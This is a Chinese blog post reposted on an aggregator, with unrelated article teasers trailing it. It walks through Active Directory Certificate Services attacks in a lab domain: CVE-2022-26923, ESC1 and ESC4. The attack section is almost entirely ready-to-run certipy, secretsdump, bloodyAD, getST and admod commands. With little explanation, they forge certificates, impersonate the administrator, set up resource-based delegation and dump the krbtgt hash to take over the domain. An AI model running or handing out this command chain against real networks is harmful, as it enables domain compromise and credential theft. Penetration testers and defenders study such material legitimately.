ESC1+ESC4+CVE-2022–26923

news2024/9/23 17:13:14

CVE-2022–26923

创建机器账户并指定dnsHostName为dc的域名

certipy account create -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3  -user win -pass win@123456 -dns 'DC.hacktest.com'

 用该机器账户向ADCS请求证书

certipy req -u 'win$'@hacktest.com -p win@123456 -target 10.211.55.7 -dc-ip 10.211.55.3 -ca hacktest-ADCS-CA -template Machine

拿到证书后获取域控权限的2种方式

方式1 使用证书请求hash

 dcsync

python3.9 secretsdump.py hacktest.com/'DC$'@10.211.55.3 -just-dc-user hacktest/krbtgt -hashes :1ebfc1b73935fc791787838daa9b44a6

总结命令

certipy account create -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3  -user win -pass win@123456 -dns 'DC.hacktest.com'
certipy req -u 'win$'@hacktest.com -p win@123456 -target 10.211.55.7 -ca hacktest-ADCS-CA -template Machine
certipy auth -pfx dc.pfx -dc-ip 10.211.55.3
secretsdump.py hacktest.com/'DC$'@10.211.55.3 -just-dc-user hacktest/krbtgt -hashes :1ebfc1b73935fc791787838daa9b44a6

方式2  RBCD

如果目标不支持PKInit,可以用RBCD设置相关委派关系

openssl pkcs12 -in dc.pfx -out dc.pem -nodes

密码为空

(bloodyAD.py. 0.2.3)版本命令,设置从win$到DC$的基于资源的约束委派

python3.9 bloodyAD.py -c ':dc.pem' -u 'win$' --host 10.211.55.3 setRbcd 'win$' 'DC$'

使用委派协议s4u请求票据

 python3.9 getST.py hacktest.com/'win$':'win@123456' -spn LDAP/DC.hacktest.com -impersonate administrator -dc-ip 10.211.55.3

export KRB5CCNAME=administrator.ccache
python3.9 secretsdump.py -k dc.hacktest.com -just-dc-user hacktest/krbtgt 

 总结命令

openssl pkcs12 -in dc.pfx -out dc.pem -nodes
python3.9 bloodyAD.py -c ':dc.pem' -u 'win$' --host 10.211.55.3 setRbcd 'win$' 'DC$'
python3.9 getST.py hacktest.com/'win$':'win@123456' -spn LDAP/DC.hacktest.com -impersonate administrator -dc-ip 10.211.55.3
export KRB5CCNAME=administrator.ccache
python3.9 secretsdump.py -k dc.hacktest.com -just-dc-user hacktest/krbtgt

bug

 certipy find -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -dc-only -vulnerable -debug

遇到报错,需要指定-target-ip 也就是ADCS证书服务器ip

certipy find -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -dc-only -vulnerable -debug -target-ip 10.211.55.7

 ECS1

操作前牢记的几个命令

certtmpl.msc命令打开证书模板控制台

 颁发证书 certsrv.msc

certmgr.msc 来申请用户证书,或者使用certlm.msc申请计算机证书

 

 ESC1的利用条件如下:

  1. 企业 CA 授予低特权用户注册权限。
  2. CA 证书管理程序批准被禁用。
  3. 无需授权签名。
  4. 过于宽松的证书模板安全描述符会向低特权用户授予证书注册权限。
  5. 证书模板定义了启用域身份验证的 EKU。
  6. 证书模板允许请求者在 CSR 中指定SAN

 

 

 

发布模版

 

漏洞扫描

certipy find -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -dc-only -vulnerable -stdout 

漏洞利用方式1

certipy

certipy req -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.4 -target 10.211.55.7 -ca hacktest-ADCS-CA -template ESC1 -upn administrator@hacktest.com -debug

 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.3 -debug

漏洞利用方式2

certify+Rubeus+mimikatz

ESC4

复制web服务器模版,做以下配置

 

 

 

 修改模版为启用mspki-certificate-name-flag 属性中启用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,也就是ESC1的漏洞条件

admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=hacktest,DC=com" "msPKI-Certificate-Name-Flag::1"

 修改后,发现已经变成在请求中提供

 此时再去按照ESC1的方式去利用

certipy req -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.4 -target 10.211.55.7 -ca hacktest-ADCS-CA -template ESC4 -upn administrator@hacktest.com -debug

 certipy auth -pfx administrator.pfx -dc-ip 10.211.55.3 -debug

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/689840.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

毕业设计之图书馆座位预约系统

1.系统开发环境 系统采用的集成开发环境为IDEA,使用JAVA语言及SPRINGBOOT框架进行开发,其中硬件环境和软件环境如下: 2.硬件环境 处理器:Intel(R) Core(TM) i7-9750 GPU 3.00GHz 内存:8GB 3.软件环境 操作系统&…

【无标题】实时系统Preempt RT与Xenomai之争!谁更主流,谁更实时?

选择争论一直存在 大家知道EtherCAT是实时现场总线技术,当我们开发一款支持EtherCAT总线的控制器时,实时操作系统的选择不仅对于产品本身是最重要的一部分,而且对产品研发的整个过程也影响深远。 根据EtherCAT主站提供商Acontis公司对全球新客…

【ssh】pycharm链接远程服务器出现:Bad owner or permissions on C:\\Users\\用户名/.ssh/config

一直以来是用的pycharm,最近改用了vscode登录,并配置了config文件实现了vscode自动连接远程服务器,但是回到pycharm发现terminal端口不管用了,电脑上的powershell也是链接不上远程服务器并报错Bad owner or permissions。 【解决…

算法06-搜索算法

算法0X-XX 总结大纲要求搜索算法-深度优先搜索例1:全排列放置扑克牌的案例n皇后案例 搜索算法-广度优先搜索 总结 本系列为C算法学习系列,会介绍 算法概念与描述,入门算法,基础算法,数值处理算法,排序算法&#xff0…

Vue3学习(四)服务器部署

注意后端SpringBoot需要提前安装Java1.8的环境和Mysql5.7的数据库 SpringBoot 打包后Jar包需要配置数据库 application.yml 文件 配置服务器数据库的IP和密码 ifconfig 查看内网IP,然后配置。 Vue配置 .env.prod VITE_ENV prod VITE_BASE_URL http://qing.vu…

线性回归与逻辑回归

文章目录 介绍1 实现简单示例函数1.1 提交解决方案 2 单变量线性回归2.1 绘制数据接下来需要实现数据可视化的代码,该部分数据绘制出的图像应与如下相同 2.2 梯度下降2.2.2 实现2.2.3 计算成本J(θ)2.2.4 梯度下降2.3 可视化成本函数 选做练习3 多变量线性回归3.1 特…

08-属性描述符Object.getOwnPropertyDescriptor(),原始数据不可重写

把原始数据作为属性值传入新对象中,发生原始数据修改丢失的问题怎么办? 应该使用Object.defineProperty()设置该属性用Object.defineProperty()设置的属性,默认writable、enumerable、configurable均为false并且自定义提醒该属性设置了不可重…

深度学习与机器学习区别

深度学习与机器学习区别 本文目录: 一、特征提取方面 1.1、机器学习 1.2、深度学习 1.3、机器学习特征提取 1.4、深度学习特征提取 1.5、深度学习特征提取例子 二、数据量和计算性能要求 三、算法代表 3.1、朴素贝叶斯算法 3.2、决策树 四、神经网络 一、…

pyspark报错 ‘DataFrame‘ object has no attribute ‘iteritems‘

修改pandas版本即可 我环境spark3.3.2 python3.9 numpy 1.25.0

AutoSAR系列讲解(入门篇)3.3-RTE对Ports的支撑(上)

目录 一、特征 1、扮演SWCs和BSW的交流途径 2、其他特征 二、S/R接口的不同方式 1、直接调用(Direct) 2、缓存调用(Buffered) 3、队列调用(Queued) 三、跨ECU的方式 一、特征 1、扮演SWCs和BSW的交…

数据分析入门-SARIMA模型案例分析(超详细)

由于代码中注释已经非常的清晰,文章中就不过多叙述了,直接上代码。 代码如下: # 在开始之前先导入所需要的包import warnings # do not disturbe mode warnings.filterwarnings(ignore)import numpy as np …

ChatGPT批量生成文章软件:创意无限,智能驱动文章

随着人工智能技术的不断发展,ChatGPT批量生成文章软件成为了当今互联网世界中备受瞩目的创新之一。作为一种基于大规模预训练语言模型的自然语言处理工具,ChatGPT能够以人类般的方式与用户进行对话,并且能够生成高质量的文章。这一技术的出现…

【LLMs系列】没钱玩GPT-4?来试试Mini-GPT4吧!

一、MiniGPT-4尝鲜 还在苦苦等待GPT-4开放?开源项目MiniGPT-4就能提前体验类似GPT-4的多模态对话功能。 2023年4月17日,多模态问答模型MiniGPT-4发布,实现了GPT-4里的宣传效果 《MiniGPT-4: Enhancing Vision-language Understanding with …

GDB常用调试方法及其底层原理

本文分为两个大模块,第一部分记录下本人常用到的GDB的调试方法和技巧,第二部分则尝试分析GDB调试的底层原理。 一、GDB调试 要让程序能被调试,首先得编译成debug版本,当然release版本的也能通过导入符号表来实现调试&#xff0c…

Centos7下tensorflow 2.12无法找到NVIDIA Tesla T4 GPU终极解决方法

目录 背景 系统信息 GPU信息 关键软件信息 问题现象 原因分析

解决element-ui消息提示$message重叠问题

在进行表单校验的时候,当触发两个提示消息的时候会出现上面的叠加情况,没有将提示消息分开显示,这样就给用户造成不好的视觉效果 我们的预期效果是达到上面的显示效果,就是在进行提示的时候,如果叠加就需分开显示&…

Centos8同步时间(阿里云NTP服务为例)

一、安装chrony sudo dnf install chrony二、使用 sed 命令一键完成配置 #pool 2.centos.pool.ntp.org iburst给这一行加注释 sudo sed -i s/^pool 2.centos.pool.ntp.org iburst/#&/ /etc/chrony.conf #添加3个阿里云NTP服务器 echo -e "server ntp1.aliyun.com ib…

withContext CoroutineScope协程切换,kotlin

withContext CoroutineScope协程切换&#xff0c;kotlin <dependency><groupId>org.jetbrains.kotlinx</groupId><artifactId>kotlinx-coroutines-core</artifactId><version>1.4.2</version></dependency> import kotlinx.co…

python 上传包到pypi

参考 https://www.jianshu.com/p/81fe5a5cd27a 1.打包 在pypi注册账号&#xff0c;并新建token 需要在用户下创建一个.pypirc文件。username__ token __ 是固定的&#xff0c;password 填入刚刚的token。 使用下面两个命令把dist中文件推送到pypi python setup.py sdist…

AI读心重磅突破登Nature!AI破译大脑信号

近日&#xff0c;洛桑联邦理工学院团队在Nature上提出了一种名为CEBRA的可实现AI读脑的最新算法&#xff0c;以高精度捕捉到了动物大脑的动态。 利用AI&#xff0c;一个研究团队「看见」了老鼠眼中的电影世界。更神奇的是&#xff0c;这种机器学习算法&#xff0c;还能揭示大脑…